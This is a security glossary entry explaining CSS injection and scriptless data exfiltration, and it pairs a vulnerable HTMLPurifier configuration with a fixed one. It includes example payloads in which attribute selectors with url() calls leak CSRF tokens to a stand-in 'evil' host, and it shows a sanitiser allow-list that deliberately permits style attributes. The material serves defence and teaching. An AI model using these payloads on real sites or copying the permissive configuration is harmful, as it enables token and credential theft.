← Home ← Codex ← DEBT
Browse by Category
+ added · updated 7d
← Back to glossary

CSS Injection & Data Exfiltration via Stylesheets

Security CWE-79 OWASP A3:2021 CVSS 6.5 Advanced
debt(d5/e5/b5/t7)
d5 Detectability Operational debt — how invisible misuse is to your safety net

Closest to 'specialist tool catches it' (d5). The term's detection_hints indicate Semgrep can detect patterns like HTML sanitiser allow-lists including style attributes or PHP code interpolating user input into style contexts. However, this requires specific rules configured for CSS injection patterns — default linters won't catch it, and many standard SAST tools focus on JavaScript XSS rather than scriptless CSS exfiltration vectors.

e5 Effort Remediation debt — work required to fix once spotted

Closest to 'touches multiple files / significant refactor in one component' (e5). The quick_fix mentions stripping style attributes from sanitiser allow-lists, adding CSP headers, and auditing 'every place you reflect user input into a CSS context server-side'. While individual fixes are simple, the remediation requires audit across templates, sanitiser configs, and CSP headers — multiple files and configuration points, but typically within frontend/security concerns rather than cross-cutting architecture.

b5 Burden Structural debt — long-term weight of choosing wrong

Closest to 'persistent productivity tax' (b5). This applies to web contexts where user-supplied HTML or style input exists. The burden manifests as ongoing vigilance: every new rich-text feature, every sanitiser configuration change, and every CSP update must account for CSS injection. It's not architectural-level (b7-b9), but it's more than localised — it affects content features, security headers, and frontend templates persistently.

t7 Trap Cognitive debt — how counter-intuitive correct behaviour is

Closest to 'serious trap' (t7). The misconception field is explicit: 'CSS cannot run code, so CSS injection is a styling annoyance at worst.' This directly contradicts how developers think about CSS versus JavaScript — most security-aware developers understand XSS but assume CSS is inert. The trap is that url() callbacks, @import, and attribute selectors enable data exfiltration, contradicting the mental model that 'only JavaScript can make requests or read DOM values.'

About DEBT scoring →

Also Known As

CSS injection stylesheet injection CSS exfiltration attribute selector exfiltration scriptless XSS

TL;DR

Attacker-controlled CSS injected into a page or stylesheet that exfiltrates data via attribute selectors and `url()` callbacks, defaces UI, or enables phishing — all without a single line of JavaScript.

Explanation

CSS injection treats stylesheets as a code-execution surface. The classic exfiltration primitive is the attribute-selector-plus-background-image trick: `input[name=csrf][value^=a] { background: url(//attacker/a) }` makes the browser request `//attacker/a` when an input's value starts with 'a' — repeat for every starting letter, then for every two-letter prefix, and the attacker reconstructs CSRF tokens, password fields, or any DOM-readable secret. Modern variants use `@import` chains for sequential leaks, `font-face unicode-range` for character-by-character extraction, and scroll-to-text fragments for Chrome-specific leaks. Beyond exfiltration, CSS injection enables UI redressing (overlaying fake forms over real ones, similar to clickjacking but persistent), defacement, and tracking pixels that bypass typical script-blocking. CSS injection is dangerous specifically because it works in environments hardened against script execution: strict CSP, sanitised HTML, no-script extensions, all permit `style` attributes or `<style>` tags. Defences: forbid `style` attributes and `<style>` tags in user-supplied HTML; if user-controlled CSS is unavoidable (themes, widgets), serve it from an isolated origin; use `unsafe-inline` style restrictions in CSP and a strict CSS sanitiser; never reflect user input into a stylesheet context (e.g. `<style> .user-color: <?= $colour ?> </style>`).

How It's Exploited

Attacker injects into a comment HTML sanitiser that allows `<style>`: `<style>input[name=csrf][value^=a]{background:url(//evil/a)}input[name=csrf][value^=b]{background:url(//evil/b)}...</style>`. Victim's browser requests `//evil/X` for the matching first character. Attacker iterates through prefixes, leaks the entire CSRF token. No JavaScript executed; CSP `script-src 'self'` does not block it.

Watch Out

Browsers race-fetch background-image URLs the moment matching elements render. The leak happens on first paint — there is no user interaction required, and no opportunity to detect or block client-side.

Common Misconception

CSS cannot run code, so CSS injection is a styling annoyance at worst. It is not — `url()` callbacks, `@import`, and attribute selectors give CSS enough behaviour to exfiltrate sensitive DOM values one character at a time. CSS injection has been used in production attacks to leak CSRF tokens, password manager auto-fill values, and 2FA codes.

Why It Matters

Many sanitisers permit `style` attributes and `<style>` tags as 'harmless'. Strict CSP that blocks inline scripts often still allows inline styles. The result is a functional script-execution-equivalent attack vector that bypasses every defence engineered for JavaScript-class XSS, including the most common CSP configurations.

Common Mistakes

  • Allowing `style` attributes through HTML sanitisers — the single most common configuration gap.
  • Permitting `<style>` blocks in user-supplied content (rich-text editors, comment HTML) without parsing the CSS itself.
  • Configuring CSP without `style-src` restrictions — `script-src 'self'` alone does not block this attack.
  • Reflecting user input into `<style>` tags or inline `style=` attributes server-side: `style="color: <?= $userColour ?>"` accepts payloads like `red; background: url(//evil/<?=document.cookie?>)`.
  • Trusting that font-face and @import are 'just resources' — both make outbound requests that can encode exfiltrated data in the URL.

Avoid When

  • Application accepts no user-controlled HTML, classes, or styles, and CSP locks both script-src and style-src to 'self'.

When To Use

  • Reviewing HTML sanitiser configurations for any application that accepts rich-text user content.
  • Auditing CSP headers — confirming style-src restrictions match script-src.
  • Checking for server-side reflection of user input into <style> blocks or style= attributes.

Code Examples

💡 Note
The cheap fix is the sanitiser config; the durable fix is CSP plus origin isolation for sensitive form regions.
✗ Vulnerable
<!-- ❌ Sanitiser permits style attributes and <style> blocks -->
<?php
// HTMLPurifier config:
$config->set('HTML.Allowed', 'p,br,strong,em,a[href],img[src],span[style]');
//                                                              ^^^^^^^^^^^
// Every span can carry user-controlled CSS.
echo $purifier->purify($comment->body);
?>

<!-- Injected: <span style="background:url(//evil/leak?token=...)"> ... -->
<!-- Fires immediately on render. -->
✓ Fixed
<!-- ✅ Strip style attributes and <style> blocks; tighten CSP for styles too -->
<?php
// HTMLPurifier config:
$config->set('HTML.Allowed', 'p,br,strong,em,a[href],img[src]');
// No style attribute, no <style> tag, no class or id from user content.
echo $purifier->purify($comment->body);
?>

<!-- Server response headers: -->
<!-- Content-Security-Policy: default-src 'self'; style-src 'self'; -->
<!--                          img-src 'self' data:; -->

<!-- Defence in depth: -->
<!-- 1. Sanitiser strips style/class/id from user HTML. -->
<!-- 2. CSP style-src restricts inline styles. -->
<!-- 3. Sensitive forms are rendered in isolated documents (separate origins) -->
<!--    so attribute selectors in the parent page cannot read their values. -->

Added 28 Apr 2026
Edited 4 Jun 2026
Views 56
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings T 1 ping W 1 ping T 2 pings F 1 ping S 0 pings S 0 pings M 0 pings T 1 ping W 1 ping T 1 ping F 1 ping S 1 ping S 1 ping M 1 ping T 0 pings W 0 pings T 1 ping F 0 pings S 0 pings S 1 ping M 0 pings T 1 ping W 0 pings T 2 pings F 1 ping S 0 pings S 1 ping M 0 pings T 0 pings W
No pings yet today
No pings yesterday
Perplexity 6 Google 5 Scrapy 5 SEMrush 4 Claude 3 Ahrefs 3 Bing 3 ChatGPT 2 Meta AI 2 Qwen 1 Majestic 1 Sogou 1 PetalBot 1
crawler 32 crawler_json 5
DEV INTEL Tools & Severity
🟡 Medium ⚙ Fix effort: Low
⚡ Quick Fix
Strip style attributes and <style> tags from your HTML sanitiser allow-list, and add `style-src 'self'` to your CSP header. Audit every place you reflect user input into a CSS context server-side.
📦 Applies To
web
🔗 Prerequisites
🔍 Detection Hints
HTML sanitiser allow-list including `style`, `class`, or `id` attributes on user-controlled elements; PHP code that interpolates user input into <style> blocks or style= attributes
Auto-detectable: ✓ Yes semgrep
⚠ Related Problems
🤖 AI Agent
Confidence: Medium False Positives: Medium ✗ Manual fix Fix: Low Context: File Tests: Update
CWE-79


✓ schema.org compliant